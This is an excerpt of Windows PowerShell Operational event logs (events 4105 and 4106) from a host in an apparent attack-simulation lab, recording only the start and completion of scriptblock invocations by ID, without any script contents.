SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027811
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027809
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027808
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027791
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027785
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
